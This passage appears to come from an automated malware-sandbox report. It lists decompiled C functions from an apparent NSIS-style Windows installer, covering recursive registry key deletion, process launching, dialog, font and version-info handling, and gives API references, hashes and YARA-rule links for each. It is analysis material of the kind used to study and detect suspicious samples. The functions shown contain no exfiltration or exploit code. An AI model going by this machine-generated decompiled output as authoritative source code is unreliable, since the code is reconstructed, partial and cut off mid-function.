Associated: 00000000.00000002.666999749.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeGlobal$lstrcpy
String ID:
API String ID: 176019282-0
Opcode ID: 16e7fc8dfb2109add019363551953530b2221b6c08ce197826e595f4a50a0593
Instruction ID: ec181f717125864b891e508b79773b0a6be540bcfc5555760108aa08b7b6b632
Opcode Fuzzy Hash: 16e7fc8dfb2109add019363551953530b2221b6c08ce197826e595f4a50a0593
Instruction Fuzzy Hash: DD510332D84159EBFB22CFA48880EEDB7E5EF812C4FA24159E801A311DD771EE009B52

Uniqueness

Uniqueness Score: -1.00%

Function 00402A36, Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402A36(void* _a4, char* _a8, intOrPtr _a12) {
				void* _v8;
				char _v272;
				long _t18;
				intOrPtr* _t27;
				long _t28;

				_t18 = RegOpenKeyExA(_a4, _a8, 0,  *0x423f30 | 0x00000008,  &_v8);
				if(_t18 == 0) {
					while(RegEnumKeyA(_v8, 0,  &_v272, 0x105) == 0) {
						if(_a12 != 0) {
							RegCloseKey(_v8);
							L8:
							return 1;
						}
						if(E00402A36(_v8,  &_v272, 0) != 0) {
							break;
						}
					}
					RegCloseKey(_v8);
					_t27 = E00405CFF(2);
					if(_t27 == 0) {
						if( *0x423f30 != 0) {
							goto L8;
						}
						_t28 = RegDeleteKeyA(_a4, _a8);
						if(_t28 != 0) {
							goto L8;
						}
						return _t28;
					}
					return  *_t27(_a4, _a8,  *0x423f30, 0);
				}
				return _t18;
			}

0x00402a57
0x00402a5f
0x00402a87
0x00402a71
0x00402ac1
0x00402ac7
0x00000000
0x00402ac9
0x00402a85
0x00000000
0x00000000
0x00402a85
0x00402a9c
0x00402aa4
0x00402aab
0x00402ad7
0x00000000
0x00000000
0x00402adf
0x00402ae7
0x00000000
0x00000000
0x00000000
0x00402ae7
0x00000000
0x00402aba
0x00402ace

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00402A57
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402A93
RegCloseKey.ADVAPI32(?), ref: 00402A9C
RegCloseKey.ADVAPI32(?), ref: 00402AC1
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402ADF

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 32cdae671697de7973d8bb2633bc31189b6b536a9ce7c2939538a07c10ae524a
Instruction ID: 582bceb6e4b24316922a1ee6e85d565da044e62c79b522cd3b8563d0d5e38007
Opcode Fuzzy Hash: 32cdae671697de7973d8bb2633bc31189b6b536a9ce7c2939538a07c10ae524a
Instruction Fuzzy Hash: E7111771A10049BEEF31AF90DE49DAF7B7DEB44345B104036F906A10A0DBB49E51AF69

Uniqueness

Uniqueness Score: -1.00%

Function 00401CC1, Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401CC1(int __edx) {
				void* _t17;
				struct HINSTANCE__* _t21;
				struct HWND__* _t25;
				void* _t27;

				_t25 = GetDlgItem( *(_t27 - 0x34), __edx);
				GetClientRect(_t25, _t27 - 0x40);
				_t17 = SendMessageA(_t25, 0x172, _t21, LoadImageA(_t21, E004029F6(_t21), _t21,  *(_t27 - 0x38) *  *(_t27 - 0x1c),  *(_t27 - 0x34) *  *(_t27 - 0x1c), 0x10));
				if(_t17 != _t21) {
					DeleteObject(_t17);
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t27 - 4));
				return 0;
			}

0x00401ccb
0x00401cd2
0x00401d01
0x00401d09
0x00401d10
0x00401d10
0x0040288e
0x0040289a

APIs

GetDlgItem.USER32 ref: 00401CC5
GetClientRect.USER32 ref: 00401CD2
LoadImageA.USER32 ref: 00401CF3
SendMessageA.USER32 ref: 00401D01
DeleteObject.GDI32(00000000), ref: 00401D10

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: aab1ff915591a61a6dff0f8bf18086dee3b735981cb00012526b248d1bc18b45
Instruction ID: c9eade559dcb8dabe12f7fb8fefc2ecb3bb817c4e851fb83d30c8e131ed4808d
Opcode Fuzzy Hash: aab1ff915591a61a6dff0f8bf18086dee3b735981cb00012526b248d1bc18b45
Instruction Fuzzy Hash: B5F01DB2E04105BFD700EFA4EE89DAFB7BDEB44345B104576F602F2190C6789D018B69

Uniqueness

Uniqueness Score: -1.00%

Function 00404568, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78
stringCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00404568(int _a4, intOrPtr _a8, unsigned int _a12) {
				char _v36;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t26;
				void* _t34;
				signed int _t36;
				signed int _t39;
				unsigned int _t46;

				_t46 = _a12;
				_push(0x14);
				_pop(0);
				_t34 = 0xffffffdc;
				if(_t46 < 0x100000) {
					_push(0xa);
					_pop(0);
					_t34 = 0xffffffdd;
				}
				if(_t46 < 0x400) {
					_t34 = 0xffffffde;
				}
				if(_t46 < 0xffff3333) {
					_t39 = 0x14;
					asm("cdq");
					_t46 = _t46 + 1 / _t39;
				}
				_push(E004059FF(_t34, 0, _t46,  &_v36, 0xffffffdf));
				_push(E004059FF(_t34, 0, _t46,  &_v68, _t34));
				_t21 = _t46 & 0x00ffffff;
				_t36 = 0xa;
				_push(((_t46 & 0x00ffffff) + _t21 * 4 + (_t46 & 0x00ffffff) + _t21 * 4 >> 0) % _t36);
				_push(_t46 >> 0);
				_t26 = E004059FF(_t34, 0, 0x420478, 0x420478, _a8);
				wsprintfA(_t26 + lstrlenA(0x420478), "%u.%u%s%s");
				return SetDlgItemTextA( *0x423658, _a4, 0x420478);
			}

0x00404570
0x00404574
0x0040457c
0x0040457f
0x00404580
0x00404582
0x00404584
0x00404587
0x00404587
0x0040458e
0x00404594
0x00404594
0x0040459b
0x004045a6
0x004045a7
0x004045aa
0x004045aa
0x004045b7
0x004045c2
0x004045c5
0x004045d7
0x004045de
0x004045df
0x004045ee
0x004045fe
0x0040461a

APIs

lstrlenA.KERNEL32(00420478,00420478,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404488,000000DF,0000040F,00000400,00000000), ref: 004045F6
wsprintfA.USER32 ref: 004045FE
SetDlgItemTextA.USER32 ref: 00404611

Strings

%u.%u%s%s, xrefs: 004045E0

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 1fe6c35c0a5c12af0758eda6fcd91f800dae708434e3b464b1985a7a483ce98e
Instruction ID: de100ae33fd703a766e80fabf1c0ef7e237f6bef08e04a4196497c65211e5d03
Opcode Fuzzy Hash: 1fe6c35c0a5c12af0758eda6fcd91f800dae708434e3b464b1985a7a483ce98e
Instruction Fuzzy Hash: 331104B370012477DB10666D9C05EAF329DDBC6334F14023BFA2AF61D1E9388C1186E8

Uniqueness

Uniqueness Score: -1.00%

Function 00401BAD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00401BAD() {
				signed int _t28;
				CHAR* _t31;
				long _t32;
				int _t37;
				signed int _t38;
				int _t42;
				int _t48;
				struct HWND__* _t52;
				void* _t55;

				 *(_t55 - 0x34) = E004029D9(3);
				 *(_t55 + 8) = E004029D9(4);
				if(( *(_t55 - 0x10) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x34)) = E004029F6(0x33);
				}
				__eflags =  *(_t55 - 0x10) & 0x00000002;
				if(( *(_t55 - 0x10) & 0x00000002) != 0) {
					 *(_t55 + 8) = E004029F6(0x44);
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x28)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t50 = E004029F6();
					_t28 = E004029F6();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t31 =  ~( *_t27) & _t50;
					__eflags = _t31;
					_t32 = FindWindowExA( *(_t55 - 0x34),  *(_t55 + 8), _t31,  ~( *_t28) & _t28);
					goto L10;
				} else {
					_t52 = E004029D9();
					_t37 = E004029D9();
					_t48 =  *(_t55 - 0x10) >> 2;
					if(__eflags == 0) {
						_t32 = SendMessageA(_t52, _t37,  *(_t55 - 0x34),  *(_t55 + 8));
						L10:
						 *(_t55 - 8) = _t32;
					} else {
						_t38 = SendMessageTimeoutA(_t52, _t37,  *(_t55 - 0x34),  *(_t55 + 8), _t42, _t48, _t55 - 8);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t55 - 4)) =  ~_t38 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x24)) - _t42;
				if( *((intOrPtr*)(_t55 - 0x24)) >= _t42) {
					_push( *(_t55 - 8));
					E0040593B();
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t55 - 4));
				return 0;
			}

0x00401bb6
0x00401bc2
0x00401bc5
0x00401bce
0x00401bce
0x00401bd1
0x00401bd5
0x00401bde
0x00401bde
0x00401be1
0x00401be5
0x00401be7
0x00401c34
0x00401c36
0x00401c3f
0x00401c47
0x00401c4a
0x00401c4a
0x00401c53
0x00000000
0x00401be9
0x00401bf0
0x00401bf2
0x00401bfa
0x00401bfd
0x00401c25
0x00401c59
0x00401c59
0x00401bff
0x00401c0d
0x00401c15
0x00401c18
0x00401c18
0x00401bfd
0x00401c5c
0x00401c5f
0x00401c65
0x00402833
0x00402833
0x0040288e
0x0040289a

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C0D
SendMessageA.USER32 ref: 00401C25

Strings

!, xrefs: 00401BE1

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: a21e9fedaf10b3d0faf8ff8eb7872d1ba6ab3a41dfe2fcd52b90142743086bd6
Instruction ID: 089b6e11c3ee5c2ceb15467343933f82bc3488a694e04e66c57418204d538f9a
Opcode Fuzzy Hash: a21e9fedaf10b3d0faf8ff8eb7872d1ba6ab3a41dfe2fcd52b90142743086bd6
Instruction Fuzzy Hash: B321C4B1A44209BFEF01AFB4CE4AAAE7B75EF40344F14053EF602B60D1D6B84980E718

Uniqueness

Uniqueness Score: -1.00%

Function 0040523D, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040523D(CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x422480->cb = 0x44;
				_t7 = CreateProcessA(0, _a4, 0, 0, 0, 0, 0, 0, 0x422480,  &_v20);
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405246
0x00405262
0x0040526a
0x0040526f
0x00000000
0x00405275
0x00405279

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00422480,Error launching installer), ref: 00405262
CloseHandle.KERNEL32(?), ref: 0040526F

Strings

Error launching installer, xrefs: 00405250
C:\Users\user\AppData\Local\Temp\, xrefs: 0040523D

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateHandleProcess
String ID: C:\Users\user\AppData\Local\Temp\$Error launching installer
API String ID: 3712363035-1785902839
Opcode ID: 1f2f9ff3088062fdf2c67fe66ccdb0f341c5896b9e6aafa6ba1adbb34377fffc
Instruction ID: 0a3d69d2a3401d9d63374a1600280413a6fd3692a6ba6d2da32d4f839eaa01ec
Opcode Fuzzy Hash: 1f2f9ff3088062fdf2c67fe66ccdb0f341c5896b9e6aafa6ba1adbb34377fffc
Instruction Fuzzy Hash: BEE0E674A1010ABBDB00EF64DD09D6B7B7CFB00304B408621E911E2150D774E4108A79

Uniqueness

Uniqueness Score: -1.00%

Function 004054D0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004054D0(CHAR* _a4) {
				CHAR* _t7;

				_t7 = _a4;
				if( *(CharPrevA(_t7,  &(_t7[lstrlenA(_t7)]))) != 0x5c) {
					lstrcatA(_t7, 0x409010);
				}
				return _t7;
			}

0x004054d1
0x004054e8
0x004054f0
0x004054f0
0x004054f8

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030B5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 004054D6
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004030B5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 004054DF
lstrcatA.KERNEL32(?,00409010), ref: 004054F0

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004054D0

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction ID: 18d73bba3a4f2c077241afd2b81ba446c35da1b9bd2d8ef2eba9fb39a34af30a
Opcode Fuzzy Hash: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction Fuzzy Hash: 09D0A7B2505970AED20126195C05FCF2A08CF023117044423F640B21D2C63C5C819BFD

Uniqueness

Uniqueness Score: -1.00%

Function 00401EC5, Relevance: 6.1, APIs: 4, Instructions: 54
memoryCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401EC5(char __ebx, char* __edi, char* __esi) {
				char* _t18;
				int _t19;
				void* _t30;

				_t18 = E004029F6(0xffffffee);
				 *(_t30 - 0x2c) = _t18;
				_t19 = GetFileVersionInfoSizeA(_t18, _t30 - 0x30);
				 *__esi = __ebx;
				 *(_t30 - 8) = _t19;
				 *__edi = __ebx;
				 *((intOrPtr*)(_t30 - 4)) = 1;
				if(_t19 != __ebx) {
					__eax = GlobalAlloc(0x40, __eax);
					 *(__ebp + 8) = __eax;
					if(__eax != __ebx) {
						if(__eax != 0) {
							__ebp - 0x44 = __ebp - 0x34;
							if(VerQueryValueA( *(__ebp + 8), 0x409010, __ebp - 0x34, __ebp - 0x44) != 0) {
								 *(__ebp - 0x34) = E0040593B(__esi,  *((intOrPtr*)( *(__ebp - 0x34) + 8)));
								 *(__ebp - 0x34) = E0040593B(__edi,  *((intOrPtr*)( *(__ebp - 0x34) + 0xc)));
								 *((intOrPtr*)(__ebp - 4)) = __ebx;
							}
						}
						_push( *(__ebp + 8));
						GlobalFree();
					}
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t30 - 4));
				return 0;
			}

0x00401ec7
0x00401ecf
0x00401ed4
0x00401ed9
0x00401edd
0x00401ee0
0x00401ee2
0x00401ee9
0x00401ef2
0x00401efa
0x00401efd
0x00401f12
0x00401f18
0x00401f2b
0x00401f34
0x00401f40
0x00401f45
0x00401f45
0x00401f2b
0x00401f48
0x00401b75
0x00401b75
0x00401efd
0x0040288e
0x0040289a

APIs

GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401ED4
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401EF2
GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F0B
VerQueryValueA.VERSION(?,00409010,?,?,?,?,?,00000000), ref: 00401F24

Part of subcall function 0040593B: wsprintfA.USER32 ref: 00405948

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: f9744f7992f8663f166aa538b3da0bee02a0a5d08582e8cd95fa90b08a46e0f1
Instruction ID: 4f4abe4324f754641e01f0e672b51484e064b7e428c6eed24e296c4d37409401
Opcode Fuzzy Hash: f9744f7992f8663f166aa538b3da0bee02a0a5d08582e8cd95fa90b08a46e0f1
Instruction Fuzzy Hash: 5F114CB2901109BFDB01EFA5D981DAEBBB9EF04354B20803AF501F61E1D7389A55DB28

Uniqueness

Uniqueness Score: -1.00%

Function 00401D1B, Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00401D1B() {
				void* __esi;
				int _t6;
				signed char _t11;
				struct HFONT__* _t14;
				void* _t18;
				void* _t24;
				void* _t26;
				void* _t28;

				_t6 = GetDeviceCaps(GetDC( *(_t28 - 0x34)), 0x5a);
				0x40af54->lfHeight =  ~(MulDiv(E004029D9(2), _t6, 0x48));
				 *0x40af64 = E004029D9(3);
				_t11 =  *((intOrPtr*)(_t28 - 0x14));
				 *0x40af6b = 1;
				 *0x40af68 = _t11 & 0x00000001;
				 *0x40af69 = _t11 & 0x00000002;
				 *0x40af6a = _t11 & 0x00000004;
				E004059FF(_t18, _t24, _t26, 0x40af70,  *((intOrPtr*)(_t28 - 0x20)));
				_t14 = CreateFontIndirectA(0x40af54);
				_push(_t14);
				_push(_t26);
				E0040593B();
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t28 - 4));
				return 0;
			}

0x00401d29
0x00401d42
0x00401d4c
0x00401d51
0x00401d5c
0x00401d63
0x00401d75
0x00401d7b
0x00401d80
0x00401d8a
0x004024b8
0x00401561
0x00402833
0x0040288e
0x0040289a

APIs

GetDC.USER32(?), ref: 00401D22
GetDeviceCaps.GDI32(00000000), ref: 00401D29
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D38
CreateFontIndirectA.GDI32(0040AF54), ref: 00401D8A

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CapsCreateDeviceFontIndirect
String ID:
API String ID: 3272661963-0
Opcode ID: 78f79da71c4801185515a33ee10eecec6988933ac577fdebba6a0d8b1e27de8a
Instruction ID: 822a585a95499be2ccb46a886614a983d19f7779af01092212c1c8a44adbdb5d
Opcode Fuzzy Hash: 78f79da71c4801185515a33ee10eecec6988933ac577fdebba6a0d8b1e27de8a
Instruction Fuzzy Hash: 80F04FF1A49742AEE70167B0AE0AB9A3B659719306F14043AF242BA1E2C5BC0454DB7F

Uniqueness

Uniqueness Score: -1.00%

Function 00402BBE, Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402BBE(intOrPtr _a4) {
				long _t2;
				struct HWND__* _t3;
				struct HWND__* _t6;

				if(_a4 == 0) {
					__eflags =  *0x417020; // 0x0
					if(__eflags == 0) {
						_t2 = GetTickCount();
						__eflags = _t2 -  *0x423e8c;
						if(_t2 >  *0x423e8c) {
							_t3 = CreateDialogParamA( *0x423e80, 0x6f, 0, E00402B3B, 0);
							 *0x417020 = _t3;
							return ShowWindow(_t3, 5);
						}
						return _t2;
					} else {
						return E00405D38(0);
					}
				} else {
					_t6 =  *0x417020; // 0x0
					if(_t6 != 0) {
						_t6 = DestroyWindow(_t6);
					}
					 *0x417020 = 0;
					return _t6;
				}
			}

0x00402bc5
0x00402bdf
0x00402be5
0x00402bef
0x00402bf5
0x00402bfb
0x00402c0c
0x00402c15
0x00000000
0x00402c1a
0x00402c21
0x00402be7
0x00402bee
0x00402bee
0x00402bc7
0x00402bc7
0x00402bce
0x00402bd1
0x00402bd1
0x00402bd7
0x00402bde
0x00402bde

APIs

DestroyWindow.USER32(00000000,00000000,00402D9E,00000001), ref: 00402BD1
GetTickCount.KERNEL32 ref: 00402BEF
CreateDialogParamA.USER32(0000006F,00000000,00402B3B,00000000), ref: 00402C0C
ShowWindow.USER32(00000000,00000005), ref: 00402C1A

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: bf07767b331bb76d3b5a2f8e5622a218379b171e4cdb58aec93dcc8b8375aee9
Instruction ID: f2d052a30a3472248e345e5832336eca953f0b1533712f6c56216133e551431f
Opcode Fuzzy Hash: bf07767b331bb76d3b5a2f8e5622a218379b171e4cdb58aec93dcc8b8375aee9
Instruction Fuzzy Hash: 2AF0DA31D09320ABC661AF14FD4CADB7B75BB09B127014936F101B52E8D77868818BAD

Uniqueness

Uniqueness Score: -1.00%

Function 004037EF, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004037EF(void* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t6;
				intOrPtr _t11;
				signed int _t13;
				signed int _t16;
				signed short* _t18;
				signed int _t20;
				signed short* _t23;
				intOrPtr _t25;
				signed int _t26;
				intOrPtr* _t27;

				_t24 = "1033";
				_t13 = 0xffff;
				_t6 = E00405954(__ecx, "1033");
				while(1) {
					_t26 =  *0x423ec4;
					if(_t26 == 0) {
						goto L7;
					}
					_t16 =  *( *0x423e90 + 0x64);
					_t20 =  ~_t16;
					_t18 = _t16 * _t26 +  *0x423ec0;
					while(1) {
						_t18 = _t18 + _t20;
						_t26 = _t26 - 1;
						if((( *_t18 ^ _t6) & _t13) == 0) {
							break;
						}
						if(_t26 != 0) {
							continue;
						}
						goto L7;
					}
					 *0x423660 = _t18[1];
					 *0x423f28 = _t18[3];
					_t23 =  &(_t18[5]);
					if(_t23 != 0) {
						 *0x42365c = _t23;
						E0040593B(_t24,  *_t18 & 0x0000ffff);
						SetWindowTextA( *0x420450, E004059FF(_t13, _t24, _t26, 0x423680, 0xfffffffe));
						_t11 =  *0x423eac;
						_t27 =  *0x423ea8;
						if(_t11 == 0) {
							L15:
							return _t11;
						}
						_t25 = _t11;
						do {
							_t11 =  *_t27;
							if(_t11 != 0) {
								_t11 = E004059FF(_t13, _t25, _t27, _t27 + 0x18, _t11);
							}
							_t27 = _t27 + 0x418;
							_t25 = _t25 - 1;
						} while (_t25 != 0);
						goto L15;
					}
					L7:
					if(_t13 != 0xffff) {
						_t13 = 0;
					} else {
						_t13 = 0x3ff;
					}
				}
			}

0x004037f3
0x004037f8
0x004037fe
0x00403803
0x00403803
0x0040380b
0x00000000
0x00000000
0x00403813
0x0040381b
0x0040381d
0x00403823
0x00403823
0x00403825
0x00403831
0x00000000
0x00000000
0x00403835
0x00000000
0x00000000
0x00000000
0x00403837
0x0040383c
0x00403845
0x0040384b
0x00403850
0x00403864
0x0040386f
0x00403887
0x0040388d
0x00403892
0x0040389a
0x004038bb
0x004038bb
0x004038bb
0x0040389c
0x0040389e
0x0040389e
0x004038a2
0x004038a9
0x004038a9
0x004038ae
0x004038b4
0x004038b4
0x00000000
0x0040389e
0x00403852
0x00403857
0x00403860
0x00403859
0x00403859
0x00403859
0x00403857

APIs

SetWindowTextA.USER32(00000000,00423680), ref: 00403887

Strings

1033, xrefs: 004037F3, 004037FD, 0040386E
C:\Users\user\AppData\Local\Temp\, xrefs: 004037F0

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: TextWindow
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 530164218-517883005
Opcode ID: 809311cf63a270f3da3981a90469c0860d530fe9ed693af6c887377ad56b97b2
Instruction ID: 1abde7c3b4d11e9a2e55591403c44a3397e590d434b7b54f33d2a439c9831bdd
Opcode Fuzzy Hash: 809311cf63a270f3da3981a90469c0860d530fe9ed693af6c887377ad56b97b2
Instruction Fuzzy Hash: 0711C276B002119BC730AF55D8809377BADEF4471631981BFE80167390C73D9E028B98

Uniqueness

Uniqueness Score: -1.00%

Function 00404CCB, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404CCB(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				long _t22;

				if(_a8 != 0x102) {
					if(_a8 != 0x200) {
						_t22 = _a16;
						L7:
						if(_a8 == 0x419 &&  *0x420460 != _t22) {
							 *0x420460 = _t22;
